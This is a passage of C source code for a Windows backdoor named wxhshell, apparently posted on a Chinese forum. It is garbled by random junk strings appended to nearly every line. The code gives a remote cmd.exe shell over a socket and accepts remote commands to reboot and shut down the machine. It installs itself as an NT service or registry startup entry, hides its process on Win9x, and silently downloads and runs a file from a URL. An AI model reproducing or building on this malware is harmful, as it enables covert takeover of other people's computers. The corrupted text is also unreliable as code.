    switch(cmd[0]) { LM} si|  
  f}apn=  
  // 帮助 ~BC5no  
  case '?': { ]WG\+1x9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2+enRR~  
    break; M@8(h=  
  } :X^B1z3X4  
  // 安装 MI/1uw  
  case 'i': { wv<"W@& 9  
    if(Install()) (.c?)_G,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .f}I$ "2  
    else k`-L5#`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gi-tf<  
    break; ;23F8M%wH  
    } #E#70vWp\O  
  // 卸载 g%Z;rDfi  
  case 'r': { W`Soa&9  
    if(Uninstall()) DeUDZL%/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4l|Am3vzX  
    else 'g#))y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y/ `fPgE  
    break; eRGip2^cq+  
    } Uz0mSfBp  
  // 显示 wxhshell 所在路径 c[5>kQ-nq  
  case 'p': { e1H.2n{y^  
    char svExeFile[MAX_PATH]; xZkLN5I{  
    strcpy(svExeFile,"\n\r"); !} 1p:@  
      strcat(svExeFile,ExeFile); u@o3p*bQ  
        send(wsh,svExeFile,strlen(svExeFile),0); Eb.{M  
    break; 1}(g=S  
    } y]Y)?])  
  // 重启 znM"P|A  
  case 'b': { K1Tzy=Z9j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RGiA>Z:W  
    if(Boot(REBOOT)) A81kb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0q/g:"|j  
    else { pd|c7D!6U,  
    closesocket(wsh); NE(6`Wq`  
    ExitThread(0); <'/+E4m  
    } t0wLj}"U  
    break; _uRgKoiy  
    } X1+Wb9P  
  // 关机 k\EMO\je  
  case 'd': { ?-(E$ll  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?^yZVmAo]  
    if(Boot(SHUTDOWN)) BqR8%F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  yXDf;`J  
    else { Z!#zr@'k  
    closesocket(wsh); Q.!8q3`  
    ExitThread(0); =Y89X6  
    } \ Xuu|]  
    break; vXyaOZ  
    } ;X\!*Loe  
  // 获取shell ed& ,  
  case 's': { ~_R=2t{u _  
    CmdShell(wsh); *s_)E 2  
    closesocket(wsh); T9u/|OP  
    ExitThread(0); "5vFa7y  
    break; Fm*O&6W\@A  
  } '*22j ]  
  // 退出 b-ZvEDCR  
  case 'x': { Wvcj\2'yd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C,K P!B{  
    CloseIt(wsh); @ij}|k%*  
    break; XO\P4x :c  
    } (zUERw\a X  
  // 离开 :U?Kwv8s  
  case 'q': { C#(4>'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p=eSHs{>A  
    closesocket(wsh); RM,r0Kv17Y  
    WSACleanup(); 3q<\ \8Y*  
    exit(1); cp[k[7XGD  
    break; KbSIKj  
        } w${=]h*2  
  } %<K`d  
  } AOeptv^k3}  
~g)gXPjke  
  // 提示信息 q S2#=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y&B~UeB:q  
} ~^G k7  
  } 6EJ,czt(  
_aq3G9C_  
  return; Pr/K5aJeg  
} Z&YW9de@  
H$WuT;cTE  
// shell模块句柄 {B uh5U,  
int CmdShell(SOCKET sock) lY0^Z  
{ t<x0?vfD  
STARTUPINFO si; =p:D_b  
ZeroMemory(&si,sizeof(si)); b?qtTce  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rs'~' Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kp8!^os  
PROCESS_INFORMATION ProcessInfo; L<*wzl2Go  
char cmdline[]="cmd"; $D\SueZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nO2-fW:9]  
  return 0; ma vc$!y  
} Q]A;VNx  
1]m]b4]  
// 自身启动模式 8E ^yHd4Y  
int StartFromService(void) "\U$aaF  
{ O8r9&Nv  
typedef struct kuqf(  
{ rhsSV3iM  
  DWORD ExitStatus; (s z=IB ;  
  DWORD PebBaseAddress; d7qHUx'=z  
  DWORD AffinityMask; la[xbv   
  DWORD BasePriority; 8$BZbj%?hx  
  ULONG UniqueProcessId; u+~Ta  
  ULONG InheritedFromUniqueProcessId; m = "N4!  
}   PROCESS_BASIC_INFORMATION; /MO|q  
Rku9? zf^  
PROCNTQSIP NtQueryInformationProcess;  _p<s!  
JF IUD{>fp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ECWn/4Aws  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~8o's`  
0j F~cV  
  HANDLE             hProcess; D4?5 %s  
  PROCESS_BASIC_INFORMATION pbi; CfNHv-jDL  
PTXy:>]M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t-)C0<  
  if(NULL == hInst ) return 0; 1D sgU6"  
]'3e#Cqeh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |X,T>{V?y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g@BQ!}_#5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Es/\/vF7]D  
l\vtz5L  
  if (!NtQueryInformationProcess) return 0; ?kqo~twJ  
*tC]Z&5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s_}T -%\  
  if(!hProcess) return 0; }SR}ET&z  
:UGc6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DG}} S 5  
L1 1/XpR  
  CloseHandle(hProcess); gNY}`'~hr  
eZ#nZB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7{e0^V,\k  
if(hProcess==NULL) return 0; dlsVE~_G  
?>SC:{(  
HMODULE hMod; z=J%-Hq>  
char procName[255]; S-&[Tp+N  
unsigned long cbNeeded; (vMC.y5  
~3< Li}W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RsIR}.*  
UT|FV twO  
  CloseHandle(hProcess); |!NKKvf  
2iYf)MC  
if(strstr(procName,"services")) return 1; // 以服务启动 sS/#)/B  
J*?BwmD'8  
  return 0; // 注册表启动 ~0aWjMc(>  
} FTZ][  
MQ>.^]B]o  
// 主模块 `!rH0]vy  
int StartWxhshell(LPSTR lpCmdLine) phr6@TI  
{ /^v?Q9=Y  
  SOCKET wsl; Y>LgpO.  
BOOL val=TRUE; m22M[L(q  
  int port=0; <8nl}^d5  
  struct sockaddr_in door; (,<&H;,8  
E#?*6/  
  if(wscfg.ws_autoins) Install(); +`4`OVE_#  
hyqsMkW|  
port=atoi(lpCmdLine); 9Ps[i)-  
jkw:h0hX  
if(port<=0) port=wscfg.ws_port; 1~/?W^ir  
ENW>bS8 e`  
  WSADATA data; D.elE:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <20rxOEnf  
c#X9d8>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CMn&1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QB p`r#{I{  
  door.sin_family = AF_INET; .zxP,]"l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /Qi;'h]  
  door.sin_port = htons(port); 8Yfg@"Tn  
o;bK 7D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IH|PdVNtg  
closesocket(wsl); ^M36=~j  
return 1; ue8Cpn^M  
} ? ->:,I=<~  
Z@ AHe`A  
  if(listen(wsl,2) == INVALID_SOCKET) { ivL}\~L  
closesocket(wsl); *PQu9>1w  
return 1; PR rf$& u  
} Z^?1MJ:`  
  Wxhshell(wsl); v"'Co6fw  
  WSACleanup(); oL?(; `"&  
>'IFr9&3  
return 0; +c&n7  
ds@X%L;_  
} n^<3E; a  
c"qaULY  
// 以NT服务方式启动 $50rj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lR] z8 &  
{ zO#{qF+~;  
DWORD   status = 0; c32IO&W4  
  DWORD   specificError = 0xfffffff; UUb n7&  
K"~Tk`[0Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8vFt<k}G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {z)&=v@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B&^WRM;7t  
  serviceStatus.dwWin32ExitCode     = 0; &' ,A2iG  
  serviceStatus.dwServiceSpecificExitCode = 0; .XPcH(q  
  serviceStatus.dwCheckPoint       = 0; v=!Ap ; 2L  
  serviceStatus.dwWaitHint       = 0; !: e(-  
/ S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a^yBtb~,P  
  if (hServiceStatusHandle==0) return;  biwV7<  
Hg)5c!F7  
status = GetLastError(); 5f+ziiZ  
  if (status!=NO_ERROR) X r7pFw  
{ 8`bQ,E+2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3w&fN3 1  
    serviceStatus.dwCheckPoint       = 0; $@m)8T  
    serviceStatus.dwWaitHint       = 0; VAkZ@ u3'~  
    serviceStatus.dwWin32ExitCode     = status; !'uLV#YEZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; q^{Z"ifL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [hy:BV6H+  
    return;  y!6+jrI  
  } J?/.|Y]e  
p^^Ai  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OkSJob  
  serviceStatus.dwCheckPoint       = 0; yX:A?U  
  serviceStatus.dwWaitHint       = 0; e&&;"^@-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $lkd9r1   
} qGndh  
]W,K}~!   
// 处理NT服务事件,比如:启动、停止 oicett=5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 99XbpP55  
{ KM$5ZbCF:  
switch(fdwControl) o`^GUY}  
{ %(4G[R[  
case SERVICE_CONTROL_STOP: EZvB#cuL-  
  serviceStatus.dwWin32ExitCode = 0; 1$,t:/'-4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5j(3pV`_  
  serviceStatus.dwCheckPoint   = 0; rCcNu  
  serviceStatus.dwWaitHint     = 0; 4Q0@\dR9  
  { e'<pw^I\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f'/@h Na3  
  } :SxOQ(n  
  return; Mwdh]I,#  
case SERVICE_CONTROL_PAUSE: e2#"o{+@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m35Blg34  
  break; wK 8/`{B9  
case SERVICE_CONTROL_CONTINUE: VdpkE0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z-G|EAON"/  
  break; 6T6 S9A*nT  
case SERVICE_CONTROL_INTERROGATE: \jn[kQ+pJ  
  break; B`Q.<Lqu  
}; gi`K^L=C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _]E ~ci}  
} t+0&B"  
Vv(!Ki}  
// 标准应用程序主函数 5qco4@8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9IL#\:d1  
{ H[o'j@0  
m:TS .@p  
// 获取操作系统版本 =YX/]g|9K  
OsIsNt=GetOsVer(); &J|3uY,'j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8$avPD3jx  
Cna@3)_  
  // 从命令行安装 SsjO1F  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0pYz8OB  
u(JC 4w'  
  // 下载执行文件 owe362q  
if(wscfg.ws_downexe) { g# ZR, q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K5(?6hr;  
  WinExec(wscfg.ws_filenam,SW_HIDE); E0=-6j  
} _<5o1  
,=l MtW  
if(!OsIsNt) { bG +p  
// 如果时win9x,隐藏进程并且设置为注册表启动 Uq)|]a&e  
HideProc(); ?8Cxt|o>  
StartWxhshell(lpCmdLine); )8oI  s  
} oaI7j=Gp  
else #{(?a.:  
  if(StartFromService()) iR4CY-  
  // 以服务方式启动 zdn e2  
  StartServiceCtrlDispatcher(DispatchTable); 3y>.1  
else s)yEVh  
  // 普通方式启动 V_U$JKJ1=  
  StartWxhshell(lpCmdLine); Rs)tf|`/  
 D@qq=M  
return 0; v:CYf_  
}
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只看该作者 1 发表于: 2006-10-10
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